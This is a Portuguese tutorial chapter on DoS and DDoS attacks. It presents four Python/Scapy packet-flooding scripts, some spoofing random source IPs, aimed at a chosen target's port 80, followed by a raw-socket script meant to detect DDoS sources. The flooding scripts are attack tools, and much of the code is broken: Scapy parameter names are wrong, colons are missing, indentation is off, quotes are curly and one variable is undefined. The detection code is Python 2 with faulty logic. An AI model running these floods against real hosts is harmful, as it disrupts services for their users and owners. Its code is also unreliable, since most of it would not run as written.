Ataque DoS e DDoS

Neste capítulo, aprenderemos sobre o ataque DoS e DdoS e entenderemos como detectá-los.

Com o boom do setor de comércio eletrônico, o servidor da Web agora está sujeito a ataques e é um alvo fácil para os hackers. Os hackers geralmente tentam dois tipos de ataque -

DoS (negação de serviço)
DDoS (negação de serviço distribuída)

Ataque DoS (negação de serviço)

O ataque de negação de serviço (DoS) é uma tentativa dos hackers de tornar um recurso de rede indisponível. Geralmente interrompe o host, temporária ou indefinidamente, que está conectado à Internet. Esses ataques normalmente visam serviços hospedados em servidores da web de missão crítica, como bancos e gateways de pagamento com cartão de crédito.

Sintomas de ataque DoS

Desempenho de rede excepcionalmente lento.
Indisponibilidade de um determinado site.
Incapacidade de acessar qualquer site.
Aumento dramático no número de e-mails de spam recebidos.
Negação de longo prazo de acesso à web ou a quaisquer serviços da Internet.
Indisponibilidade de um determinado site.

Tipos de ataque DoS e sua implementação Python

O ataque DoS pode ser implementado no link de dados, rede ou camada de aplicativo. Vamos agora aprender sobre os diferentes tipos de ataques DoS &; sua implementação em Python -

Porta única de IP único

Um grande número de pacotes é enviado ao servidor web usando um único IP e de um único número de porta. É um ataque de baixo nível usado para verificar o comportamento do servidor web. Sua implementação em Python pode ser feita com o auxílio do Scapy. O seguinte script python ajudará a implementar um ataque DoS de porta única de IP único -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Após a execução, o script acima solicitará as três coisas a seguir -

Endereço IP de origem e destino.
Endereço IP do número da porta de origem.
Ele então enviará um grande número de pacotes ao servidor para verificar seu comportamento.

Porta única IP múltipla

Um grande número de pacotes é enviado ao servidor da web usando um único IP e de várias portas. Sua implementação em Python pode ser feita com o auxílio do Scapy. O seguinte script python ajudará a implementar um ataque DoS de porta múltipla com IP único -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Porta única com vários IPs

Um grande número de pacotes é enviado ao servidor da web usando vários IP e de um único número de porta. Sua implementação em Python pode ser feita com o auxílio do Scapy. O seguinte script Python implementa um ataque DoS de porta múltipla com IP único -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Multiple IP Multiple Port

Um grande número de pacotes é enviado ao servidor da web usando vários IPs e de várias portas. Sua implementação em Python pode ser feita com o auxílio do Scapy. O script Python a seguir ajuda a implementar um ataque DoS com várias portas e vários IPs -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Ataque DDoS (negação de serviço distribuída)

Um ataque de negação de serviço distribuído (DDoS) é uma tentativa de tornar um serviço online ou um site indisponível, sobrecarregando-o com grandes inundações de tráfego gerado de várias fontes.

Ao contrário de um ataque de negação de serviço (DoS), em que um computador e uma conexão de Internet são usados para inundar um recurso direcionado com pacotes, um ataque DDoS usa muitos computadores e muitas conexões de Internet, muitas vezes distribuídas globalmente no que é conhecido como botnet . Um ataque DDoS volumétrico em grande escala pode gerar um tráfego medido em dezenas de Gigabits (e até centenas de Gigabits) por segundo. Pode ser lido em detalhes em.

Detecção de DDoS usando Python

Na verdade, um ataque DDoS é um pouco difícil de detectar porque você não sabe que o host que está enviando o tráfego é falso ou real. O script Python fornecido a seguir ajudará a detectar o ataque DDoS.

Para começar, vamos importar as bibliotecas necessárias -

import socket
import struct

from datetime import datetime

Agora, criaremos um soquete como criamos nas seções anteriores também.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Usaremos um dicionário vazio -

dict = {}

A linha de código a seguir abrirá um arquivo de texto, contendo os detalhes do ataque DDoS no modo anexar.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Com a ajuda da seguinte linha de código, a hora atual será escrita sempre que o programa for executado.

file_txt.writelines(t1)
file_txt.writelines("\n")

Agora, precisamos assumir os acessos de um determinado IP. Aqui, estamos assumindo que, se um determinado IP estiver atingindo por mais de 15 vezes, então será um ataque.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

A seguinte linha de código irá verificar se o IP existe no dicionário ou não. Se existir, será aumentado em 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

A próxima linha de código é usada para remover a redundância.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Após executar o script acima, obteremos o resultado em um arquivo de texto. De acordo com o script, se um IP for atingido por mais de 15 vezes, ele será impresso quando um ataque DDoS for detectado junto com esse endereço IP.

↰ Previous page Next page ↱